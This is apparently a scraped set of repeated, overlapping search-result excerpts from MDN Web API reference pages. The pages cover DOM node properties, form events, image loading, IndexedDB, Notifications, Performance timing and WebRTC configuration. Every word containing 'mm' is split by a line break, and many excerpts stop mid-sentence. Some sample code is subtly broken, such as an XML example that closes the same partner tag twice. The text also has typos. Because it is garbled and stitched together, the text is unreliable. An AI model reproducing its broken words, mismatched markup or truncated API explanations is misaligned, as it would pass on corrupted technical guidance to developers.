...gdocument shadowanimation svgcolorprofilerule svgcssrule svgdocument svgexception svgexternalresourcesrequired svgfittoviewbox svglangspace svglocatable svgrenderingintent svgstylable svgtests svgtransformable svgunittypes svguseelementshadowroot svgurireference svgviewspec svgzoomandpan svgzoomevent specifications specification status co
mment dom living standard ...
Element.localName - Web APIs
0 100 100"> <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. ...
...30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. ...
...d="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. for example, in the qualified name eco
mm:partners, partners is the local name and eco
mm is the prefix: <eco
mm:business id="soda_shop" type="brick_n_mortar" xmlns:eco
mm="http://example.com/eco
mm"> <eco
mm:partners> <eco
mm:partner id="1001">tony's syrup warehouse </eco
mm:partner> </eco
mm:partner> </eco
mm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms). in later ...
... in html doms (as opposed to xhtml elements in xml doms). in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms. the tagname property continues to return in the upper case for html elements in html doms. specifications specification status co
mment domthe definition of 'element.localname' in that specification. living standard initial definition ...
HTMLFormElement: reset event - Web APIs
html5the definition of 'reset' in that specificat...
...stamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('reset', logreset); result specifications specification status co
mment html living standardthe definition of 'reset' in that specification. working draft no change html 5.2the definition of 'reset' in that specification. ...
...g'); form.addeventlistener('reset', logreset); result specifications specification status co
mment html living standardthe definition of 'reset' in that specification. working draft no change html 5.2the definition of 'reset' in that specification. reco
mmendation no change html 5.1the definition of 'reset' in that specification. reco
mmendation added info that the event is not trusted. ...
... html living standardthe definition of 'reset' in that specification. working draft no change html 5.2the definition of 'reset' in that specification. ...
HTMLFormElement: submit event - Web APIs
type="submit">submit form</button> </form> <p id="log"></p> javascript function logsubmit(event) { log.textcontent = `form submitted! ...
...t(); } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('submit', logsubmit); result specifications specification status co
mment html living standardthe definition of 'submit' in that specification. working draft no change html 5.2the definition of 'submit' in that specification. ...
...form.addeventlistener('submit', logsubmit); result specifications specification status co
mment html living standardthe definition of 'submit' in that specification. working draft no change html 5.2the definition of 'submit' in that specification. reco
mmendation no change html 5.1the definition of 'submit' in that specification. ...
... status co
mment html living standardthe definition of 'submit' in that specification. working draft no change html 5.2the definition of 'submit' in that specification. reco
mmendation no change html 5.1the definition of 'submit' in that specification. reco
mmendation no change html5the definition of 'submit' in that specification. ...
HTMLImageElement.loading - Web APIs
the htmlimageelement property loading is a string whose value provides a hint to the user agent that tells the browser how to handle loading images which are currently outside the window's visual viewport. this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than i
mmediately during the initial page load. syntax let imageloadscheduling = htmlimageelement.loading; htmlimageelement.loading = eagerorlazy; value a domstring providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance. the possible values are: eager the default behavior, eager tells the browser to load the image as soon as the <img> element is processed. lazy tells the user agent to h...
...rlazy; value a domstring providing a hint to the user agent as to how to best schedule the loading of the image to optimize page performance. the possible values are: eager the default behavior, eager tells the browser to load the image as soon as the <img> element is processed. lazy tells the user agent to hold off on loading the image until the browser estimates that it will be needed i
mminently. for instance, if the user is scrolling through the document, a value of lazy will cause the image to only be loaded shortly before it will appear in the window's visual viewport. usage notes timing of the load event the load event is fired when the document has been fully processed. when images are loaded eagerly (which is the default), every image in the document must be fetched befo...
...essed. when images are loaded eagerly (which is the default), every image in the document must be fetched before the load event can fire. by specifying the value lazy for loading, you prevent the image from delaying the load attribute by the amount of time it takes to request, fetch, and process the image. images whose loading attribute is set to lazy but are located within the visual viewport i
mmediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load event. in other words, these images aren't loaded i
mmediately when processing the <img> element, but are still loaded as part of the initial page load. they justt don't affect the timing of the load event. that means that when load fires, it's possible that any lazy-loade...
... living standard ...
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using co
mmas (,) each specifying image resources to use under given circumstances. each image candidate string contains an image url and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property. the srcset property, along with the sizes property, are a crucial component in designing responsive web sites, as they can be used together to make pages that use appropriate images for the rendering situation. ...
...sed instead of the image specified by the src property. the srcset property, along with the sizes property, are a crucial component in designing responsive web sites, as they can be used together to make pages that use appropriate images for the rendering situation. ...
...andidatestrings; let srcset = htmlimageelement.srcset; value a usvstring containing a co
mma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by the htmlimageelement. each image candidate string must begin with a valid url referencing a non-interactive graphic resource. this is followed by a co
mma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used. space characters, other than the whitespace separating the url and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each co
mma. if the condition descriptor is not provided (in other words, ...
...utput below, the selected url will correspond with whether your display results in selecting the 1x or the 2x version of the image. if you happen to have both standard and high density displays, try moving this window between them and reloading the page to see the results change. for additional examples, see our guide to responsive images. specifications specification status co
mment html living standardthe definition of 'htmlimageelement.srcset' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet ex...
HTMLTextAreaElement - Web APIs
extarea> element has been changed. examples autogrowing textarea example make a textarea autogrow while typing: javascript function autogrow (ofield) { if (ofield.scrollheight > ofield.clientheight) { ofield.style.height = ofield.scrollheight + "px"; } } css textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } html <form> <fieldset> <legend>your co
mments</legend> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" value="send" /></p> </fieldset> </form> insert html tags example insert some html tags or smiles or any custom text in a textarea. javascript function insertmetachars(sstarttag, sendtag) { var bdouble = arguments.length > 1, omsginput = document.myform.mytxtarea, nse...
...ertmetachars('\n<code>\n','\n<\/code>\n');">code</span> | <span class="intlink" onclick="insertmetachars(' :-)');">smile</span> | etc. etc. ]</p> <p><textarea name="mytxtarea" rows="10" cols="50">lorem ipsum dolor sit amet, consectetur adipiscing elit. ut facilisis, arcu vitae adipiscing placerat, nisl lectus accumsan nisi, vitae iaculis sem neque vel lectus. praesent tristique co
mmodo lorem quis fringilla. sed ac tellus eros. sed consectetur eleifend felis vitae luctus. praesent sagittis, est eget bibendum tincidunt, ligula diam tincidunt augue, a fermentum odio velit eget mi. phasellus mattis, elit id fringilla semper, orci magna cursus ligula, non venenatis lacus augue sit amet dui. pellentesque lacinia odio id nisi pulvinar co
mmodo tempus at odio. ut consectetur eros por...
... the following attributes have been added: autofocus, placehold...
...rea cols="50" rows="10" onkeypress="return checkrows(this, event);" onpaste="return false;"></textarea> </p> </form> specifications specification status co
mment html living standardthe definition of 'htmltextareaelement' in that specification. living standard html5the definition of 'htmltextareaelement' in that specification. reco
mmendation the attributes tabindex and accesskey, as well as the methods blur() and focus() are now defined on htmlelement. the following attributes have been added: autofocus, placeholder, dirname, wrap, maxlength, required, textlength, labels, selectionstart, selectionend, selectiondirection, validity, validationmessage, and willvalidate. the following methods have been added: checkvali...
IDBDatabase - Web APIs
provides the only way to get and manage versions of the database. note: this feature is available in web workers. note: everything you do in indexeddb always happens in the context of a transaction, representing interactions with data in the database. all objects in indexeddb — including object stores, indexes, and cursors — are tied to a particular transaction. thus, you cannot execute co
mmands, access data, or open anything outside of a transaction. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/e...
...abase. idbdatabase.version read only a 64-bit integer that contains the version of the connected database. when a database is first created, this attribute is an empty string. idbdatabase.objectstorenames read only a domstringlist that contains a list of the names of the object stores currently in the connected database. methods inherits from: eventtarget idbdatabase.close() returns i
mmediately and closes the connection to a database in a separate thread. idbdatabase.createmutablefile() creates a file handle, allowing files to be stored inside an indexeddb database. idbdatabase.createobjectstore() creates and returns a new object store or index. idbdatabase.deleteobjectstore() destroys the object store with the given name in the connected database, along with any indexes t...
...e in a separate thread. idbdatabase.createmutablefile() creates a file handle, allowing files to be stored inside an indexeddb database. idbdatabase.createobjectstore() creates and returns a new object store or index. idbdatabase.deleteobjectstore() destroys the object store with the given name in the connected database, along with any indexes that reference it. idbdatabase.transaction() i
mmediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store. runs in a separate thread. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. abort fired when when a transaction is aborted and bubbles up to the connectio...
... objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; }; this next line opens up a transaction on the database, then opens an object store that we can then manipulate the data inside of. var objectstore = db.transaction('todolist', 'readwrite').objectstore('todolist'); specifications specification status co
mment indexed database api 2.0the definition of 'idbdatabase' in that specification. reco
mmendation initial version indexed database api draftthe definition of 'idbdatabase' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check o...
IDBTransactionSync - Web APIs
ntroduced in the future if there is enough demand from web developers. the idbtransactionsync interface of the indexeddb api provides a synchronous transaction on a database. when an application creates an idbtransactionsync object, it blocks until the browser is able to reserve the require database objects. method overview void abort() raises (idbdatabaseexception); void co
mmit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this transaction is associated with. static boolean if true, this transaction is static; if false, this transaction is dynamic. ...
...ncel the effects of the operations performed by this transaction. when this method is called, the browser ignores all the changes performed to the objects of this database since this transaction was created. ...
...operations performed by this transaction. when this method is called, the browser ignores all the changes performed to the objects of this database since this transaction was created. void abort( ) raises (idbdatabaseexception); exceptions this method can raise an idbdatabaseexception with the following code: non_transient_err if this transaction has already been co
mmitted or aborted. ...
... can raise an idbdatabaseexception with the following code: non_transient_err if this transaction has already been co
mmitted or aborted. co
mmit() call this method to signal that the transaction has completed normally and satisfactorily. when this method is called, the browser durably stores all the changes performed to the objects of the database since this transaction was created. void co
mmit( ) raises (idbdatabaseexception); exceptions this method can raise an idbdatabaseexception with the following codes: non_transient_err if this transaction has already been co
mmitted or aborted. recoverable_err if this transaction's scope is dynamic, and the browser cannot co
mmit all of the changes due to another transaction. objectstore() returns an object store that has already bee...
KeyboardEvent.getModifierState() - Web APIs
ressed control key pressed menu key pressed. ctrl key, control key or menu key pressed. "fn" not supported function key is pressed, but we're not sure what key makes the modifier state active. fn key on mac keyboard doesn't cause this active. ...
...control key or menu key pressed. "fn" not supported function key is pressed, but we're not sure what key makes the modifier state active. fn key on mac keyboard doesn't cause this active. ...
... modifier named "accel". event.getmodifierstate("accel") returns true when at least one of keyboardevent.ctrlkey or keyboardevent.metakey is true. in old implementations and outdated specifications, it returned true when a modifier which is the typical modifier key for the shortcut key is pressed. for example, on windows, pressing ctrl key may make it return true. however, on mac, pressing ⌘ co
mmand key may make it return true. note that which modifier key makes it return true depends on platforms, browsers, and user settings. for example, firefox users can customize this with a pref, "ui.key.accelkey". example // ignore if following modifier is active. if (event.getmodifierstate("fn") || event.getmodifierstate("hyper") || event.getmodifierstate("os") || event.getmodifiersta...
.../ hack for ie and old gecko // do something different if scrolllock is locked. event.preventdefault(); // consume the key event break; } } although this example uses .getmodifierstate() with "alt", "control", "meta" and "shift", using event.altkey, event.ctrlkey, event.metakey and event.shiftkey may be more preferable. specifications specification status co
mment document object model (dom) level 3 events specificationthe definition of 'getmodifierstate()' in that specification. obsolete initial definition (modifier keys spec) ...
Media Source API - Web APIs
its extensible api. creating assets that work with mse in modern browsers is a laborious process, taking significant time, computing power, and energy. the usage of external utilities to massage the content into a suitable format is required. while browser support for the various media containers with mse is spotty, usage of the h.264 video codec, aac audio codec, and mp4 container format is a co
mmon baseline. mse also provides an api for runtime detection of container and codec support. if you do not require explicit control of video quality over time, the rate at which content is fetched, or the rate at which memory is evicted, then the <video> and <source> tags may well be a simple and adequate solution. dash dynamic adaptive streaming over http (dash) is a protocol for specifying how...
...logic out of the network protocol and into the client side application logic, using the simpler http protocol to fetch files. indeed, one can support dash with a simple static file server, which is also great for cdns. this is in direct contrast with previous streaming solutions that required expensive licenses for proprietary non-standard client/server protocol implementations. the two most co
mmon use cases for dash involve watching content “on demand” or “live.” on demand allows a developer to take their time transcoding the assets into multiple resolutions of various quality. live profile content can introduce latency due to its transcoding and broadcasting, so dash is not suitable for real time co
mmunication like webrtc is. it can however support significantly more client co...
... ...
... time ranges that the user is able to seek to. htmlvideoelement.getvideoplaybackquality() returns a videoplaybackquality object for the currently played video. audiotrack.sourcebuffer, videotrack.sourcebuffer, texttrack.sourcebuffer returns the sourcebuffer that created the track in question. specifications specification status co
mment media source extensions reco
mmendation initial definition. ...
MutationObserver.takeRecords() - Web APIs
syntax const mutationrecords = mutationobserver.takerecords() parameters none. ...
... syntax const mutationrecords = mutationobserver.takerecords() parameters none. ...
... syntax const mutationrecords = mutationobserver.takerecords() parameters none. ...
....observe(targetnode, observeroptions); /* ...later, when it's time to stop observing... */ /* handle any still-pending mutations */ let mutations = observer.takerecords(); observer.disconnect(); if (mutations) { callback(mutations); } the code in lines 12–17 fetches any unprocessed mutation records, then invokes the callback with the records so that they can be processed. this is done i
mmediately prior to calling disconnect() to stop observing the dom. specifications specification status co
mment domthe definition of 'mutationobserver.takerecords()' in that specification. living standard ...
Node.localName - Web APIs
0 100 100"> <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. ...
...30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. ...
...d="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon. qualified names are typically used in xml as part of the namespace(s) of the particular xml documents. for example, in the qualified name eco
mm:partners, partners is the local name and eco
mm is the prefix: <eco
mm:business id="soda_shop" type="brick_n_mortar" xmlns:eco
mm="http://example.com/eco
mm"> <eco
mm:partners> <eco
mm:partner id="1001">tony's syrup warehouse </eco
mm:partner> </eco
mm:partners> </eco
mm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms). in later...
...ith html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms. the tagname property continues to return in the upper case for html elements in html doms. for nodes of any type other than element_node and attribute_node localname is always null. specifications specification status co
mment document object model (dom) level 3 core specificationthe definition of 'node.localname' in that specification. obsolete document object model (dom) level 2 core specificationthe definition of 'node.localname' in that specification. obsolete initial definition ...
Node.nodeType - Web APIs
the read-only node.nodetype property is an integer that identifies what the node is. it distinguishes different kind of nodes from each other, such as elements, text and co
mments. syntax var type = node.nodetype; returns an integer which specifies the type of the node. possible values are listed in node type constants. constants node type constants constant value description node.element_node 1 an element node like <p> or <div>. node.text_node 3 the actual text inside an element or attr. ...
... value description node.element_node 1 an element node like <p> or <div>. node.text_node 3 the actual text inside an element or attr. node.cdata_section_node 4 a cdatasection, such as <!cdata[[ … ]]>. node.processing_instruction_node 7 a processinginstruction of an xml document, such as <?xml-stylesheet … ?>. node.co
mment_node 8 a co
mment node, such as <!-- … -->. node.document_node 9 a document node. node.document_type_node 10 a documenttype node, such as <!doctype html>. node.document_fragment_node 11 a documentfragment node. deprecated node type constants the following constants have been deprecated and should not be used anymore. con...
... li...
...ument.doctype.nodetype === node.document_type_node; // true document.createdocumentfragment().nodetype === node.document_fragment_node; // true var p = document.createelement("p"); p.textcontent = "once upon a time…"; p.nodetype === node.element_node; // true p.firstchild.nodetype === node.text_node; // true co
mments this example checks if the first node inside the document element is a co
mment, and displays a message if not. var node = document.documentelement.firstchild; if (node.nodetype !== node.co
mment_node) { console.warn("you should co
mment your code!"); } specifications specification status co
mment domthe definition of 'node.nodetype' in that specification. living standard deprecated attribute_node, entity_reference_node and notation_no...
Node.nodeValue - Web APIs
the nodevalue property of the node interface returns or sets the value of the current node. syntax str = node.nodevalue; node.nodevalue = str; value str is a string containing the value of the current node, if any. for the document itself, nodevalue returns null. for text, co
mment, and cdata nodes, nodevalue returns the content of the node. for attribute nodes, the value of the attribute is returned. ...
...ue of the current node, if any. for the document itself, nodevalue returns null. for text, co
mment, and cdata nodes, nodevalue returns the content of the node. for attribute nodes, the value of the attribute is returned. ...
... any. for the document itself, nodevalue returns null. for text, co
mment, and cdata nodes, nodevalue returns the content of the node. for attribute nodes, the value of the attribute is returned. the following table shows the return values for different elements: node value of nodevalue cdatasection content of the cdata section co
mment content of the co
mment document null documentfragment null documenttype null element null namednodemap null entityreference null notation null processinginstruction entire content excluding the target text content of the text node when nodevalue is defined to be null, setting it has no effect. specific...
... living standard ...
Using the Notifications API - Web APIs
al world example — a to-do list app — to give more of an idea of how web notifications can be used. it stores data locally using indexeddb and notifies users when tasks are due using system notifications. download the to-do list code, or view the app running live. requesting permission before an app can send a notification, the user must grant the application the right to do so. this is a co
mmon requirement when an api tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications. because of abuses of push notifications in the past, web browsers and developers have begun to implement strategies to hel...
...by letting the user control which apps/sites are allowed to display notifications. because of abuses of push notifications in the past, web browsers and developers have begun to implement strategies to help mitigate this problem. you should only request consent to display notifications in response to a user gesture (e.g. clicking a button). this is not only best practice — you should not be spa
mming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notification permission requests not triggered in response to a user gesture. firefox is already doing this from version 72, for example, and safari has done it for some time. in addition, in chrome and firefox you cannot request notifications at all unless the site is a secure context (i.e. ...
... and onshow handlers. because notification also inherits from eventtarget, it's possible to use the addeventlistener() method on it. replacing existing notifications it is usually undesirable for a user to receive a lot of notifications in a short space of time — for example, what if a messenger application notified a user for each incoming message, and they were being sent a lot? to avoid spa
mming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or multiple pending notifications with a new one. to do this, it's possible to add a tag to any new notification. if a notification already has the same tag and has not been displayed yet, the new notification replaces that previous notification. if the notification with the same ta...
...; } }, 200); } // otherwise, we can fallback to a regular modal alert else { alert("hi!"); } }); } // if the user refuses to get notified else { // we can fallback to a regular modal alert alert("hi!"); } }); }); see the live result below: specifications specification status co
mment notifications api living standard living standard ...
ParentNode.querySelectorAll() - Web APIs
= parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. multiple selectors may be specified by separating them using co
mmas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since javascript also uses backslash escaping, special care must be taken when writing string literals using these characters. see escaping special characters for more information. return value a non-live nodelist containing one element object for each descendant node that matches at l...
...e syntax of the specified selectors string is not valid. examples to obtain a nodelist of all of the <p> elements in the document: var matches = document.queryselectorall("p"); this example returns a list of all <div> elements within the document with a class of either note or alert: var matches = document.queryselectorall("div.note, div.alert"); here, we get a list of <p> elements whose i
mmediate parent element is a <div> with the class highlighted and which are located inside a container whose id is test. var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.q...
... html consider this html, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascript var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0! in this example, when selecti...
...queryselectorall() only verifies that the last element in the selector is within the search scope. the :scope pseudo-class restores the expected behavior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status co
mment domthe definition of 'parentnode.queryselectorall()' in that specification. living standard living standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification. obsolete no change dom4the definition of 'parentnode.queryselectorall()' in that specification. obsolete initial definition selectors ap...
Performance - Web APIs
urning a json object representing the performance object. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. resourcetimingbufferfull fired when the browser's resource timing buffer is full. also available via the onresourcetimingbufferfull property. ...
...listener() or by assigning an event listener to the oneventname property of this interface. resourcetimingbufferfull fired when the browser's resource timing buffer is full. also available via the onresourcetimingbufferfull property. specifications specification status co
mment high resolution time level 2the definition of 'performance' in that specification. reco
mmendation defines tojson() method. high resolution timethe definition of 'performance' in that specification. reco
mmendation defines now() method. performance timeline level 2the definition of 'performance extensions' in that specification. candidate reco
mmendation changes getentries() interface. performance timelinethe definition of 'performance extensions...
...hod. high resolution timethe definition of 'performance' in that specification. reco
mmendation defines now() method. performance timeline level 2the definition of 'performance extensions' in that specification. candidate reco
mmendation changes getentries() interface. performance timelinethe definition of 'performance extensions' in that specification. reco
mmendation defines getentries(), getentriesbytype() and getentriesbyname() methods. resource timing level 1the definition of 'performance extensions' in that specification. candidate reco
mmendation defines clearresourcetimings() and setresourcetimingbuffersize() methods and the onresourcetimingbufferfull property. user timing level 2the definition of 'performance extension...
... ...
PerformanceEntry.startTime - Web APIs
property depends on the performance entry's type: "frame" - returns the timestamp when the frame was started. "mark" - returns the timestamp when the mark was created by a call to performance.mark(). "measure" - returns the timestamp when the measure was created by a call to performance.measure(). "navigation" - returns the timestamp with a value of "0". "resource" - returns the timestamp i
mmediately before the browser starts fetching the resource. this property is read only . syntax entry.starttime; return value a domhighrestimestamp representing the first timestamp when the performance entry was created. note: if the performance entry has an entrytype of "resource" (i.e. the entry is a performanceresourcetiming object), this property returns the performanceentry.fetchstart ti...
... ...
... ...
... ...
PerformanceEntry - Web APIs
tion"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... ...
...= perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " is not supported"); } } } specifications specification status co
mment resource timing level 3 editor's draft resource timing level 2 working draft resource timing level 1 candidate reco
mmendation adds the performanceresourcetiming interface and the resource value for entrytype. ...
...tions specification status co
mment resource timing level 3 editor's draft resource timing level 2 working draft resource timing level 1 candidate reco
mmendation adds the performanceresourcetiming interface and the resource value for entrytype. navigation timing level 2 working draft navigation timing reco
mmendation adds the performancenavigationtiming interface and the navigation value for entrytype. user timing level 2 working draft user timing reco
mmendation adds the performancemark and performancemeasure interfaces as well as the mark and measure values for entrytype. frame timing draft adds the performanceframetiming interface and the frame value...
... working draft user timing reco
mmendation adds the performancemark and performancemeasure interfaces as well as the mark and measure values for entrytype. frame timing draft adds the performanceframetiming interface and the frame value for entrytype. performance timeline level 2the definition of 'performanceentry' in that specification. candidate reco
mmendation added tojson() serializer method. performance timelinethe definition of 'performanceentry' in that specification. reco
mmendation initial definition. ...
PerformanceResourceTiming.connectStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... ...
...es[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'connectstart' in that specification. candidate reco
mmendation initial definition. ...
PerformanceResourceTiming.domainLookupEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... the browser finishes the domain name lookup for the resource. if the user agent has the domain information in cache, domainlookupstart and domainlookupend represent the times when the user agent starts and ends the domain data retrieval from the cache. note: this feature is available in web workers. syntax resource.domainlookupend; return value a domhighrestimestamp representing the time i
mmediately after the browser finishes the domain name lookup for the resource. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_s...
... ...
...i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'domainlookupend' in that specification. candidate reco
mmendation initial definition. ...
PerformanceResourceTiming.domainLookupStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... ...
... in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'domainlookupstart' in that specification. candidate reco
mmendation initial definition. ...
PerformanceResourceTiming.responseStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... ...
...s[i] in perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'responsestart' in that specification. candidate reco
mmendation initial definition. ...
PerformanceResourceTiming.secureConnectionStart - Web APIs
if a secure connection is not used, this property returns zero. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
...if a secure connection is not used, this property returns zero. example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... ...
...perfentry; if (supported) { var value = perfentry[properties[i]]; console.log("... " + properties[i] + " = " + value); } else { console.log("... " + properties[i] + " = not supported"); } } } specifications specification status co
mment resource timing level 1the definition of 'secureconnectionstart' in that specification. candidate reco
mmendation initial definition. ...
Web Push API Notifications best practices - Web APIs
“if done well, it's nice to have, but if not done well, it's really annoying.” — overheard conversation between two browser developers discussing the ethics of push notifications. overview of web push notifications web push notifications (created using a combination of the notifications, push, and service worker apis) are part of the rising noise that product developers and marketers are using to get attention for their sites. ...
...ons, push, and service worker apis) are part of the rising noise that product developers and marketers are using to get attention for their sites. searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to reco
mmended products. the dark side their novelty provides a new and unexploited opportunity for enterprising sites to reach potential customers. has the customer switched tabs to answer an email? win them back with an expiring offer of free shipping that they can’t ignore! but really, is this the best use of push notifications? or is it a new iteration on the old and tired pop-up ad? “web push...
...n the spam folder. nor can it be blocked by ad blockers. it shows right up on your desktop even when the website is shut. in mobile, it shows up in the notification tray, just like app push notifications, even when the browser is not running.” — an unnamed marketing site positive uses of push but there’s a bright and useful side to push notifications, too. let’s say you and your team co
mmonly use a chat program to co
mmunicate, but today you’re happily working somewhere, and problem comes up. say your program manager found a hiccup in the approvals and wants to get your feedback on something before she proceeds. after a few failed attempts to get your attention, they send you an email, and your email app produces a push notification that successfully alerts you, even though your...
...tempts to get your attention, they send you an email, and your email app produces a push notification that successfully alerts you, even though your mail web app is not open. in this document, we’ll talk about the ethical use of web push notifications. sometimes they can eliminate frustration and annoyance, and sometimes they can cause them, and it’s up to you as a developer to make wise reco
mmendations (and decisions) about the use of push notifications. what are you hoping to achieve with this push notification? as with everything, with great power comes great responsibility. every push notification should be useful and time-sensitive, and the user should always be asked for permission before sending the first one, and be offered an easy way to opt out of getting more in the future.
RTCConfiguration.iceServers - Web APIs
de a second server as a fallback in case the first is offline, listing too many servers can delay the user's connection being established, depending on the network's performance and how many servers get used for negotiation before a connection is established. if the list of servers is changed while a connection is already active by calling the the rtcpeerconnection method setconfiguration(), no i
mmediate effect occurs. however, the new list of servers is used for any future renegotiation, such as while handling an ice restart. examples the configuration below opens a new peer connection, specifying two servers for the ice agent to use for negotiation. the first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. the second server has tw...
... ...
... ...
... ...
RTCConfiguration - Web APIs
, from a single ip and port on one peer to a single ip and port on the other peer, using the same transport protocol. constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of content added: audio, video, and data channels. if the remote endpoint is not bundle-aware, then each of these dtls transports then handles all the co
mmunication for one type of data. "max-compat" the ice agent initially creates one rtcdtlstransport per media track and a separate one for data channels. if the remote endpoint is not bundle-aware, everything is negotiated on these separate dtls transports. "max-bundle" the ice agent initially creates only a single rtcdtlstransport to carry all of the rtcpeerconnection's data...
... ...
... ...
... ...
RTCDTMFSender - Web APIs
the rtcdtmfsender interface provides a mechanism for transmitting dtmf codes on a webrtc rtcpeerconnection. you gain access to the connection's rtcdtmfsender through the rtcrtpsender.dtmf property on the audio track you wish to send dtmf with. the primary purpose for webrtc's dtmf support is to allow webrtc-based co
